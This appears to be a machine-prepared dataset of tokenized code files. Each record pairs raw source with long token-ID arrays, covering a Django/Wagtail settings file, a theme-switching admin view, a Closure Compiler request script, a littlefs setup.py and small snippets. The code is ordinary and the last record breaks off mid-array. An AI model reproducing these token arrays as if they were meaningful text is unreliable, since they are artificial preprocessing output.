'users.User' WAGTAIL_USER_EDIT_FORM = 'users.forms.CustomUserEditForm' WAGTAIL_USER_CREATION_FORM = 'users.forms.CustomUserCreationForm' WAGTAIL_USER_CUSTOM_FIELDS = ['user_type'] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Wagtail settings WAGTAIL_SITE_NAME = "SportTech IQ" STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'sporttech', 'static'), ] STATIC_ROOT = os.path.join(BASE_DIR, 'sporttech', 'static') STATIC_URL = '/static/' MEDIA_ROOT = os.path.join(BASE_DIR, 'sporttech', 'media') MEDIA_ROOT = '/media/' REST_FRAMEWORK = { 'DEFAULT_FILTER_BACKENDS': ('django_filters.rest_framework.DjangoFilterBackend',), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_jwt.authentication.JSONWebTokenAuthentication', 'rest_framework.authentication.SessionAuthentication', 'rest_framework.authentication.BasicAuthentication', ), } JWT_AUTH = { 'JWT_AUTH_HEADER_PREFIX': 'Sporttechiq', 'JWT_EXPIRATION_DELTA': datetime.timedelta(seconds=86400), 'JWT_ALLOW_REFRESH': True, }
[ 1, 9995, 13, 29928, 5364, 6055, 363, 7980, 11345, 2060, 29889, 13, 13, 24565, 491, 525, 14095, 29899, 6406, 1369, 4836, 29915, 773, 15337, 29871, 29906, 29889, 29900, 29889, 29947, 29889, 13, 13, 2831, 901, 2472, 373, 445, 934, 29892, 1074, 13, 991, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29906, 29889, 29900, 29914, 3332, 1199, 29914, 11027, 29914, 13, 13, 2831, 278, 2989, 1051, 310, 6055, 322, 1009, 1819, 29892, 1074, 13, 991, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29906, 29889, 29900, 29914, 999, 29914, 11027, 29914, 13, 15945, 29908, 13, 13, 29937, 8878, 10898, 2768, 278, 2060, 763, 445, 29901, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 29757, 13, 5215, 2897, 13, 5215, 12865, 13, 5215, 4390, 13, 13, 8618, 17637, 29918, 9464, 353, 2897, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 370, 1028, 493, 22168, 1445, 1649, 4961, 13, 25416, 29918, 9464, 353, 2897, 29889, 2084, 29889, 25721, 29898, 8618, 17637, 29918, 9464, 29897, 13, 13, 2746, 29918, 2917, 353, 2897, 29889, 2084, 29889, 7122, 29898, 8618, 17637, 29918, 9464, 29892, 525, 11027, 742, 525, 2746, 29918, 2917, 29889, 3126, 1495, 13, 13, 2541, 1722, 29898, 2746, 29918, 2917, 29897, 408, 285, 29901, 13, 1678, 2295, 29879, 353, 4390, 29889, 18132, 29898, 29888, 29889, 949, 3101, 13, 13, 1660, 22245, 29911, 29918, 10818, 353, 2295, 29879, 1839, 1660, 22245, 29911, 29918, 10818, 2033, 13, 13, 13, 29937, 8427, 5023, 13, 13, 25580, 1964, 20566, 29918, 3301, 7024, 353, 518, 13, 1678, 525, 5184, 742, 13, 1678, 525, 4478, 742, 13, 1678, 525, 4294, 4878, 29889, 13371, 29889, 8964, 4878, 3991, 742, 13, 1678, 525, 7193, 742, 13, 1678, 525, 2754, 742, 13, 13, 1678, 525, 29893, 351, 18237, 29889, 21570, 29889, 9514, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 21570, 29889, 17886, 29879, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 21570, 29889, 4299, 6406, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 1590, 5779, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 16315, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 7193, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 29879, 1240, 27421, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 3225, 29879, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 8346, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 4478, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 6406, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 3221, 742, 13, 13, 1678, 525, 4299, 19594, 742, 13, 1678, 525, 4039, 5559, 742, 13, 13, 1678, 525, 14095, 29889, 21570, 29889, 6406, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 3051, 8768, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 29879, 10964, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 19158, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 7959, 5325, 742, 13, 1678, 525, 5060, 29918, 4468, 742, 13, 1678, 525, 14095, 29918, 26705, 742, 13, 29962, 13, 13, 29924, 1367, 29928, 1307, 12982, 1525, 353, 518, 13, 1678, 525, 14095, 29889, 21570, 29889, 29879, 10964, 29889, 17662, 2519, 29889, 7317, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 9435, 29889, 18877, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 2395, 9600, 29889, 29907, 29879, 9600, 1043, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 29889, 17662, 2519, 29889, 16746, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 19158, 29889, 17662, 2519, 29889, 3728, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 3808, 21452, 292, 29889, 29990, 4308, 5856, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 8926, 29889, 13228, 25411, 2519, 742, 13, 13, 1678, 525, 29893, 351, 18237, 29889, 3221, 29889, 17662, 2519, 29889, 17033, 25411, 2519, 742, 13, 1678, 525, 29893, 351, 18237, 29889, 21570, 29889, 17886, 29879, 29889, 17662, 2519, 29889, 24735, 25411, 2519, 742, 13, 29962, 13, 13, 21289, 29918, 4219, 6007, 29943, 353, 525, 29879, 637, 11345, 29889, 26045, 29915, 13, 13, 4330, 3580, 29931, 1299, 2890, 353, 518, 13, 1678, 426, 13, 4706, 525, 29933, 11375, 11794, 2396, 525, 14095, 29889, 6886, 29889, 1627, 1975, 29889, 14095, 29889, 29928, 5364, 5776, 9884, 742, 13, 4706, 525, 9464, 29903, 2396, 518, 13, 9651, 2897, 29889, 2084, 29889, 7122, 29898, 8618, 17637, 29918, 9464, 29892, 525, 20943, 5477, 13, 4706, 21251, 13, 4706, 525, 20576, 29918, 9464, 29903, 2396, 5852, 29892, 13, 4706, 525, 14094, 27946, 2396, 426, 13, 9651, 525, 4703, 29918, 5014, 943, 2396, 518, 13, 18884, 525, 14095, 29889, 6886, 29889, 4703, 29918, 5014, 943, 29889, 8382, 742, 13, 18884, 525, 14095, 29889, 6886, 29889, 4703, 29918, 5014, 943, 29889, 3827, 742, 13, 18884, 525, 14095, 29889, 21570, 29889, 5150, 29889, 4703, 29918, 5014, 943, 29889, 5150, 742, 13, 18884, 525, 14095, 29889, 21570, 29889, 19158, 29889, 4703, 29918, 5014, 943, 29889, 19158, 742, 13, 9651, 21251, 13, 4706, 2981, 13, 1678, 2981, 13, 29962, 13, 29937, 1304, 304, 1303, 4744, 2286, 297, 17475, 13, 23845, 29940, 1964, 29918, 5690, 29903, 353, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29897, 13, 13, 7811, 29954, 29902, 29918, 3301, 7390, 28541, 353, 525, 29879, 637, 11345, 29889, 5652, 3146, 29889, 6214, 29915, 13, 13, 13, 29937, 25280, 8845, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29906, 29889, 29900, 29914, 999, 29914, 11027, 8484, 5150, 29899, 5630, 29899, 3084, 4097, 13, 13, 20656, 29950, 29918, 25711, 17013, 29918, 26707, 1299, 24125, 353, 518, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 29889, 2659, 6708, 8942, 2327, 537, 24204, 742, 13, 1678, 2981, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 29889, 8140, 12539, 6513, 24204, 742, 13, 1678, 2981, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 29889, 18877, 10048, 24204, 742, 13, 1678, 2981, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 29889, 29940, 25099, 10048, 24204, 742, 13, 1678, 2981, 13, 29962, 13, 13, 29937, 7338, 2548, 1404, 1904, 29889, 19358, 6611, 881, 2737, 304, 6055, 29889, 20656, 29950, 29918, 11889, 29918, 20387, 29931, 13, 20656, 29950, 29918, 11889, 29918, 20387, 29931, 353, 525, 7193, 29889, 2659, 29915, 13, 29956, 10051, 6040, 6227, 29918, 11889, 29918, 12378, 29918, 19094, 353, 525, 7193, 29889, 9514, 29889, 7281, 2659, 6103, 2500, 29915, 13, 29956, 10051, 6040, 6227, 29918, 11889, 29918, 22245, 8098, 29918, 19094, 353, 525, 7193, 29889, 9514, 29889, 7281, 2659, 9832, 362, 2500, 29915, 13, 29956, 10051, 6040, 6227, 29918, 11889, 29918, 29907, 17321, 6488, 29918, 3738, 6670, 8452, 353, 6024, 1792, 29918, 1853, 2033, 13, 13, 29937, 4623, 2133, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29906, 29889, 29900, 29914, 3332, 1199, 29914, 29875, 29896, 29947, 29876, 29914, 13, 13, 29931, 19453, 29965, 10461, 29918, 16524, 353, 525, 264, 29899, 375, 29915, 13, 13, 15307, 29918, 29999, 12413, 353, 525, 26913, 29915, 13, 13, 17171, 29918, 29902, 29896, 29947, 29940, 353, 5852, 13, 13, 17171, 29918, 29931, 29896, 29900, 29940, 353, 5852, 13, 13, 17171, 29918, 29911, 29999, 353, 5852, 13, 13, 29937, 399, 351, 18237, 6055, 13, 29956, 10051, 6040, 6227, 29918, 29903, 9094, 29918, 5813, 353, 376, 29903, 637, 29911, 5309, 306, 29984, 29908, 13, 13, 17816, 2965, 24483, 29918, 9464, 29903, 353, 518, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 29879, 637, 11345, 742, 525, 7959, 5477, 13, 29962, 13, 17816, 2965, 29918, 21289, 353, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 29879, 637, 11345, 742, 525, 7959, 1495, 13, 17816, 2965, 29918, 4219, 353, 8207, 7959, 22208, 13, 13, 2303, 4571, 29909, 29918, 21289, 353, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 29879, 637, 11345, 742, 525, 9799, 1495, 13, 2303, 4571, 29909, 29918, 21289, 353, 8207, 9799, 22208, 13, 13, 1525, 1254, 29918, 29943, 4717, 2303, 11686, 29968, 353, 426, 13, 1678, 525, 23397, 29918, 3738, 29931, 4945, 29918, 29933, 11375, 1430, 8452, 2396, 6702, 14095, 29918, 26705, 29889, 5060, 29918, 4468, 29889, 29928, 5364, 5072, 5841, 355, 742, 511, 13, 1678, 525, 23397, 29918, 13171, 10403, 13507, 29918, 6154, 3289, 1660, 29903, 2396, 313, 13, 4706, 525, 5060, 29918, 4468, 29889, 17858, 6847, 29889, 3624, 6444, 4173, 630, 742, 13, 1678, 10353, 13, 1678, 525, 23397, 29918, 20656, 29950, 3919, 28541, 29918, 6154, 3289, 1660, 29903, 2396, 313, 13, 4706, 525, 5060, 29918, 4468, 29918, 29926, 14554, 29889, 23055, 29889, 7249, 3609, 6066, 16746, 742, 13, 4706, 525, 5060, 29918, 4468, 29889, 23055, 29889, 7317, 16746, 742, 13, 4706, 525, 5060, 29918, 4468, 29889, 23055, 29889, 16616, 16746, 742, 13, 1678, 10353, 13, 29913, 13, 13, 29967, 17755, 29918, 20656, 29950, 353, 426, 13, 1678, 525, 29967, 17755, 29918, 20656, 29950, 29918, 23252, 1001, 29918, 15094, 25634, 2396, 525, 29903, 637, 371, 4161, 29939, 742, 13, 1678, 525, 29967, 17755, 29918, 5746, 2227, 29934, 8098, 29918, 2287, 5850, 29909, 2396, 12865, 29889, 9346, 287, 2554, 29898, 23128, 29922, 29947, 29953, 29946, 29900, 29900, 511, 13, 1678, 525, 29967, 17755, 29918, 1964, 27998, 29918, 25866, 1525, 7068, 2396, 5852, 29892, 13, 29913, 13, 2 ]
buoi12/bai6.py
Viet7501/viet1
0
125037
def extract_characters(*file): with open("file3.txt") as f: while True: c = f.read(1) if not c: break print(c) extract_characters('file3.txt')
[ 1, 822, 6597, 29918, 3090, 21706, 10456, 1445, 1125, 30004, 13, 30004, 13, 1678, 411, 1722, 703, 1445, 29941, 29889, 3945, 1159, 408, 285, 29901, 30004, 13, 4706, 1550, 5852, 29901, 30004, 13, 9651, 274, 353, 285, 29889, 949, 29898, 29896, 8443, 13, 9651, 565, 451, 274, 29901, 30004, 13, 18884, 2867, 30004, 13, 9651, 1596, 29898, 29883, 8443, 13, 30004, 13, 21111, 29918, 3090, 21706, 877, 1445, 29941, 29889, 3945, 1495, 2 ]
feapder/network/user_pool/__init__.py
ibryang/feapder
876
35711
__all__ = [ "GuestUserPool", "GuestUser", "NormalUserPool", "NormalUser", "GoldUserPool", "GoldUser", "GoldUserStatus", ] from .gold_user_pool import GoldUserPool, GoldUser, GoldUserStatus from .guest_user_pool import GuestUserPool, GuestUser from .normal_user_pool import NormalUserPool, NormalUser
[ 1, 4770, 497, 1649, 353, 518, 13, 1678, 376, 9485, 342, 2659, 11426, 613, 13, 1678, 376, 9485, 342, 2659, 613, 13, 1678, 376, 19077, 2659, 11426, 613, 13, 1678, 376, 19077, 2659, 613, 13, 1678, 376, 29954, 1025, 2659, 11426, 613, 13, 1678, 376, 29954, 1025, 2659, 613, 13, 1678, 376, 29954, 1025, 2659, 5709, 613, 13, 29962, 13, 13, 3166, 869, 29887, 1025, 29918, 1792, 29918, 10109, 1053, 6650, 2659, 11426, 29892, 6650, 2659, 29892, 6650, 2659, 5709, 13, 3166, 869, 2543, 342, 29918, 1792, 29918, 10109, 1053, 2088, 342, 2659, 11426, 29892, 2088, 342, 2659, 13, 3166, 869, 8945, 29918, 1792, 29918, 10109, 1053, 21981, 2659, 11426, 29892, 21981, 2659, 13, 2 ]
material/admin/views.py
sesostris/django-material-admin
0
120959
<gh_stars>0 import datetime from django.contrib import messages from django.utils.translation import gettext_lazy as _ from django.views.generic import TemplateView class ThemesView(TemplateView): title = _('Theme selection') themes = ( {'display': _('Default'), 'name': 'default'}, {'display': _('Night'), 'name': 'night'}, {'display': _('Black'), 'name': 'black'}, {'display': _('Red'), 'name': 'red'}, {'display': _('Green'), 'name': 'green'} ) def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context.update({ 'title': self.title, 'themes': self.themes, **(self.extra_context or {}) }) return context def post(self, request, *args, **kwargs): extra_kwargs = {} preview = request.POST.get('preview') save_action = request.POST.get('action') extra_kwargs['preview_theme'] = preview or save_action response = self.get(request, **extra_kwargs) if save_action: self.message_user(save_action) expires = datetime.datetime.now() + datetime.timedelta(days=365) response.set_cookie(key='current_theme', value=save_action, expires=expires) return response def message_user(self, theme_name): message = _('The "{}" theme was saved successfully.') messages.add_message( self.request, messages.SUCCESS, message.format(self._get_theme_display(theme_name)), fail_silently=True ) def _get_theme_display(self, theme_name): themes = [theme['display'] for theme in self.themes if theme['name'] == theme_name] if themes: return themes[0] return _('Default')
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 12865, 13, 13, 3166, 9557, 29889, 21570, 1053, 7191, 13, 3166, 9557, 29889, 13239, 29889, 3286, 18411, 1053, 679, 726, 29918, 433, 1537, 408, 903, 13, 3166, 9557, 29889, 7406, 29889, 19206, 1053, 25663, 1043, 13, 13, 13, 1990, 498, 13826, 1043, 29898, 6733, 1043, 1125, 13, 1678, 3611, 353, 903, 877, 17693, 9262, 1495, 13, 1678, 963, 267, 353, 313, 13, 4706, 11117, 4990, 2396, 903, 877, 4592, 5477, 525, 978, 2396, 525, 4381, 16675, 13, 4706, 11117, 4990, 2396, 903, 877, 29940, 523, 5477, 525, 978, 2396, 525, 11147, 16675, 13, 4706, 11117, 4990, 2396, 903, 877, 18700, 5477, 525, 978, 2396, 525, 8517, 16675, 13, 4706, 11117, 4990, 2396, 903, 877, 9039, 5477, 525, 978, 2396, 525, 1127, 16675, 13, 4706, 11117, 4990, 2396, 903, 877, 24599, 5477, 525, 978, 2396, 525, 12692, 10827, 13, 1678, 1723, 13, 13, 1678, 822, 679, 29918, 4703, 29918, 1272, 29898, 1311, 29892, 3579, 19290, 1125, 13, 4706, 3030, 353, 2428, 2141, 657, 29918, 4703, 29918, 1272, 29898, 1068, 19290, 29897, 13, 4706, 3030, 29889, 5504, 3319, 13, 9651, 525, 3257, 2396, 1583, 29889, 3257, 29892, 13, 9651, 525, 386, 13826, 2396, 1583, 29889, 386, 13826, 29892, 13, 9651, 3579, 29898, 1311, 29889, 17833, 29918, 4703, 470, 426, 1800, 13, 4706, 5615, 13, 4706, 736, 3030, 13, 13, 1678, 822, 1400, 29898, 1311, 29892, 2009, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 4805, 29918, 19290, 353, 6571, 13, 4706, 25267, 353, 2009, 29889, 5438, 29889, 657, 877, 25347, 1495, 13, 4706, 4078, 29918, 2467, 353, 2009, 29889, 5438, 29889, 657, 877, 2467, 1495, 13, 4706, 4805, 29918, 19290, 1839, 25347, 29918, 18193, 2033, 353, 25267, 470, 4078, 29918, 2467, 13, 4706, 2933, 353, 1583, 29889, 657, 29898, 3827, 29892, 3579, 17833, 29918, 19290, 29897, 13, 4706, 565, 4078, 29918, 2467, 29901, 13, 9651, 1583, 29889, 4906, 29918, 1792, 29898, 7620, 29918, 2467, 29897, 13, 9651, 1518, 2658, 353, 12865, 29889, 12673, 29889, 3707, 580, 718, 12865, 29889, 9346, 287, 2554, 29898, 16700, 29922, 29941, 29953, 29945, 29897, 13, 9651, 2933, 29889, 842, 29918, 21509, 29898, 1989, 2433, 3784, 29918, 18193, 742, 995, 29922, 7620, 29918, 2467, 29892, 1518, 2658, 29922, 4548, 2658, 29897, 13, 4706, 736, 2933, 13, 13, 1678, 822, 2643, 29918, 1792, 29898, 1311, 29892, 10929, 29918, 978, 1125, 13, 4706, 2643, 353, 903, 877, 1576, 29850, 5038, 10929, 471, 7160, 8472, 29889, 1495, 13, 4706, 7191, 29889, 1202, 29918, 4906, 29898, 13, 9651, 1583, 29889, 3827, 29892, 7191, 29889, 14605, 26925, 29892, 13, 9651, 2643, 29889, 4830, 29898, 1311, 3032, 657, 29918, 18193, 29918, 4990, 29898, 18193, 29918, 978, 8243, 13, 9651, 4418, 29918, 25590, 2705, 29922, 5574, 13, 4706, 1723, 13, 13, 1678, 822, 903, 657, 29918, 18193, 29918, 4990, 29898, 1311, 29892, 10929, 29918, 978, 1125, 13, 4706, 963, 267, 353, 518, 18193, 1839, 4990, 2033, 363, 10929, 297, 1583, 29889, 386, 13826, 565, 10929, 1839, 978, 2033, 1275, 10929, 29918, 978, 29962, 13, 4706, 565, 963, 267, 29901, 13, 9651, 736, 963, 267, 29961, 29900, 29962, 13, 4706, 736, 903, 877, 4592, 1495, 13, 2 ]
js/matrixjs/matrix_compile.py
kennytilton/ConnectJS
7
4903
<gh_stars>1-10 #!/usr/bin/python2.4 import httplib, urllib, sys # Define the parameters for the POST request and encode them in # a URL-safe format. params = urllib.urlencode([ #('js_code', sys.argv[1]), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Cells.js'), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Model.js'), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Tag.js'), ('compilation_level', 'ADVANCED_OPTIMIZATIONS'), ('output_format', 'text'), ('output_info', 'warnings'), ]) # Always use the following value for the Content-type header. headers = { "Content-type": "application/x-www-form-urlencoded" } conn = httplib.HTTPConnection('closure-compiler.appspot.com') conn.request('POST', '/compile', params, headers) response = conn.getresponse() data = response.read() print data conn.close()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 29906, 29889, 29946, 13, 13, 5215, 1732, 1982, 29892, 3142, 1982, 29892, 10876, 13, 13, 29937, 22402, 278, 4128, 363, 278, 11971, 2009, 322, 19750, 963, 297, 13, 29937, 263, 3988, 29899, 11177, 3402, 29889, 13, 13, 7529, 353, 3142, 1982, 29889, 2271, 12508, 4197, 13, 1678, 396, 877, 1315, 29918, 401, 742, 10876, 29889, 19218, 29961, 29896, 11724, 13, 1678, 6702, 401, 29918, 2271, 742, 525, 991, 597, 1610, 29889, 3292, 1792, 3051, 29889, 510, 29914, 1717, 1460, 1376, 880, 29914, 14609, 8700, 29914, 6207, 29914, 1315, 29914, 5344, 1315, 29914, 1315, 29914, 14609, 29914, 13418, 29889, 1315, 5477, 13, 1678, 6702, 401, 29918, 2271, 742, 525, 991, 597, 1610, 29889, 3292, 1792, 3051, 29889, 510, 29914, 1717, 1460, 1376, 880, 29914, 14609, 8700, 29914, 6207, 29914, 1315, 29914, 5344, 1315, 29914, 1315, 29914, 14609, 29914, 3195, 29889, 1315, 5477, 13, 1678, 6702, 401, 29918, 2271, 742, 525, 991, 597, 1610, 29889, 3292, 1792, 3051, 29889, 510, 29914, 1717, 1460, 1376, 880, 29914, 14609, 8700, 29914, 6207, 29914, 1315, 29914, 5344, 1315, 29914, 1315, 29914, 8176, 29889, 1315, 5477, 13, 1678, 6702, 2388, 8634, 29918, 5563, 742, 525, 3035, 29963, 2190, 29907, 3352, 29918, 14094, 7833, 26664, 8098, 29903, 5477, 13, 1678, 6702, 4905, 29918, 4830, 742, 525, 726, 5477, 13, 1678, 6702, 4905, 29918, 3888, 742, 525, 25442, 886, 5477, 13, 259, 2314, 13, 13, 29937, 29849, 671, 278, 1494, 995, 363, 278, 10576, 29899, 1853, 4839, 29889, 13, 13662, 353, 426, 376, 3916, 29899, 1853, 1115, 376, 6214, 29914, 29916, 29899, 1636, 29899, 689, 29899, 2271, 26716, 29908, 500, 13, 13082, 353, 1732, 1982, 29889, 10493, 5350, 877, 25071, 29899, 21789, 29889, 932, 17500, 29889, 510, 1495, 13, 13082, 29889, 3827, 877, 5438, 742, 8207, 12198, 742, 8636, 29892, 9066, 29897, 13, 5327, 353, 11009, 29889, 657, 5327, 580, 13, 1272, 353, 2933, 29889, 949, 580, 13, 2158, 848, 13, 13082, 29889, 5358, 580, 2 ]
tests/python/o.py
BenSouchet/sorbus
0
1610422
# Rouge Highlighter token test - Operator test = (((0.2 * 10) + 0.1) - 6) / 10
[ 1, 396, 15915, 479, 5057, 29880, 14643, 5993, 1243, 448, 6607, 1061, 13, 1688, 353, 313, 3552, 29900, 29889, 29906, 334, 29871, 29896, 29900, 29897, 718, 29871, 29900, 29889, 29896, 29897, 448, 29871, 29953, 29897, 847, 29871, 29896, 29900, 13, 2 ]
setup.py
dsludwig/littlefs-python
13
59943
<reponame>dsludwig/littlefs-python<filename>setup.py from os import path from setuptools import setup, find_packages from setuptools import Extension from Cython.Build import cythonize # Extension definition EXTENSIONS = [ Extension("littlefs.lfs", ["src/littlefs/lfs.pyx", 'littlefs/lfs.c', 'littlefs/lfs_util.c'], include_dirs=['littlefs'], define_macros=[ ('LFS_NO_DEBUG', '1'), ('LFS_NO_WARN', '1'), ('LFS_NO_ERROR', '1'), # ('LFS_YES_TRACE', '1') ], extra_compile_args=['-std=c99'] ) ] setup_requires = [ 'setuptools_scm>=3.3.3', 'Cython>=0.29.13', ] HERE = path.abspath(path.dirname(__file__)) with open(path.join(HERE, 'README.rst'), encoding='utf-8') as fh: long_description = fh.read() setup( name='littlefs-python', url='https://github.com/jrast/littlefs-python', author='<NAME>', author_email='<EMAIL>', description='A python wrapper for littlefs', long_description=long_description, long_description_content_type='text/x-rst', use_scm_version=True, setup_requires=setup_requires, packages=find_packages('src'), package_data={'*': ['py.typed', '*.pyi']}, package_dir={'': 'src'}, zip_safe=False, ext_modules=cythonize(EXTENSIONS, language_level=3, annotate=False, compiler_directives={'embedsignature': True}), classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Programming Language :: Python :: 3', 'Topic :: Scientific/Engineering', 'Topic :: Software Development :: Embedded Systems', 'Topic :: Software Development :: Libraries', 'Topic :: System :: Filesystems' ] )
[ 1, 529, 276, 1112, 420, 29958, 29881, 2536, 566, 9192, 29914, 29880, 1992, 5847, 29899, 4691, 29966, 9507, 29958, 14669, 29889, 2272, 13, 3166, 2897, 1053, 2224, 13, 3166, 731, 21245, 8789, 1053, 6230, 29892, 1284, 29918, 8318, 13, 3166, 731, 21245, 8789, 1053, 7338, 2673, 13, 3166, 315, 1656, 29889, 8893, 1053, 274, 1656, 675, 13, 13, 29937, 7338, 2673, 5023, 13, 12194, 1430, 13381, 29903, 353, 518, 13, 1678, 7338, 2673, 703, 29880, 1992, 5847, 29889, 29880, 5847, 613, 6796, 4351, 29914, 29880, 1992, 5847, 29914, 29880, 5847, 29889, 2272, 29916, 613, 525, 29880, 1992, 5847, 29914, 29880, 5847, 29889, 29883, 742, 525, 29880, 1992, 5847, 29914, 29880, 5847, 29918, 4422, 29889, 29883, 7464, 13, 795, 3160, 29918, 3972, 29879, 29922, 1839, 29880, 1992, 5847, 7464, 13, 795, 4529, 29918, 8628, 1883, 11759, 13, 462, 29871, 6702, 29931, 9998, 29918, 6632, 29918, 18525, 742, 525, 29896, 5477, 13, 462, 29871, 6702, 29931, 9998, 29918, 6632, 29918, 29956, 15249, 742, 525, 29896, 5477, 13, 462, 29871, 6702, 29931, 9998, 29918, 6632, 29918, 11432, 742, 525, 29896, 5477, 13, 18884, 396, 6702, 29931, 9998, 29918, 21143, 29918, 5659, 11538, 742, 525, 29896, 1495, 13, 795, 21251, 13, 795, 4805, 29918, 12198, 29918, 5085, 29922, 1839, 29899, 4172, 29922, 29883, 29929, 29929, 2033, 13, 1678, 1723, 13, 29962, 13, 13, 13, 13, 14669, 29918, 276, 339, 2658, 353, 518, 13, 1678, 525, 842, 21245, 8789, 29918, 1557, 29885, 18572, 29941, 29889, 29941, 29889, 29941, 742, 13, 1678, 525, 29907, 1656, 18572, 29900, 29889, 29906, 29929, 29889, 29896, 29941, 742, 13, 29962, 13, 13, 5006, 353, 2224, 29889, 370, 1028, 493, 29898, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 2541, 1722, 29898, 2084, 29889, 7122, 29898, 5006, 29892, 525, 16310, 2303, 29889, 29878, 303, 5477, 8025, 2433, 9420, 29899, 29947, 1495, 408, 285, 29882, 29901, 13, 1678, 1472, 29918, 8216, 353, 285, 29882, 29889, 949, 580, 13, 13, 14669, 29898, 13, 1678, 1024, 2433, 29880, 1992, 5847, 29899, 4691, 742, 13, 1678, 3142, 2433, 991, 597, 3292, 29889, 510, 29914, 29926, 29878, 579, 29914, 29880, 1992, 5847, 29899, 4691, 742, 13, 1678, 4148, 2433, 29966, 5813, 29958, 742, 13, 1678, 4148, 29918, 5269, 2433, 29966, 26862, 6227, 29958, 742, 13, 1678, 6139, 2433, 29909, 3017, 14476, 363, 2217, 5847, 742, 13, 1678, 1472, 29918, 8216, 29922, 5426, 29918, 8216, 29892, 13, 1678, 1472, 29918, 8216, 29918, 3051, 29918, 1853, 2433, 726, 29914, 29916, 29899, 29878, 303, 742, 13, 1678, 671, 29918, 1557, 29885, 29918, 3259, 29922, 5574, 29892, 13, 1678, 6230, 29918, 276, 339, 2658, 29922, 14669, 29918, 276, 339, 2658, 29892, 13, 1678, 9741, 29922, 2886, 29918, 8318, 877, 4351, 5477, 13, 1678, 3577, 29918, 1272, 3790, 29915, 29930, 2396, 6024, 2272, 29889, 1017, 9795, 742, 525, 10521, 2272, 29875, 2033, 1118, 13, 1678, 3577, 29918, 3972, 3790, 29915, 2396, 525, 4351, 16675, 13, 1678, 14319, 29918, 11177, 29922, 8824, 29892, 13, 1678, 1294, 29918, 7576, 29922, 1270, 386, 265, 675, 29898, 12194, 1430, 13381, 29903, 29892, 4086, 29918, 5563, 29922, 29941, 29892, 9732, 403, 29922, 8824, 29892, 13, 462, 3986, 6516, 29918, 11851, 3145, 3790, 29915, 17987, 4530, 1535, 2396, 5852, 9594, 13, 1678, 770, 14903, 11759, 13, 4706, 525, 21956, 358, 16034, 4761, 29871, 29941, 448, 838, 2026, 742, 13, 4706, 525, 2928, 2760, 319, 4749, 663, 4761, 10682, 414, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 742, 13, 4706, 525, 7031, 293, 4761, 23753, 928, 29914, 12412, 3241, 742, 13, 4706, 525, 7031, 293, 4761, 18540, 14650, 4761, 2812, 2580, 7176, 23985, 742, 13, 4706, 525, 7031, 293, 4761, 18540, 14650, 4761, 365, 4626, 4314, 742, 13, 4706, 525, 7031, 293, 4761, 2184, 4761, 12745, 973, 29879, 29915, 13, 1678, 